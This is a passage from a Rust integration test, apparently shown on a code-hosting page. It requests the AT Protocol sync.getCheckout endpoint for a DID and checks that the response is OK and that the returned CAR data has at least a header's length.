"{}/xrpc/com.atproto.sync.getCheckout",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body = res.bytes().await.expect("Failed to get body");
|
||||
|
||||
assert!(body.len() >= 2, "CAR file should have at least header length");
|
||||
}
|
||||
Reference in New Issue
Block a user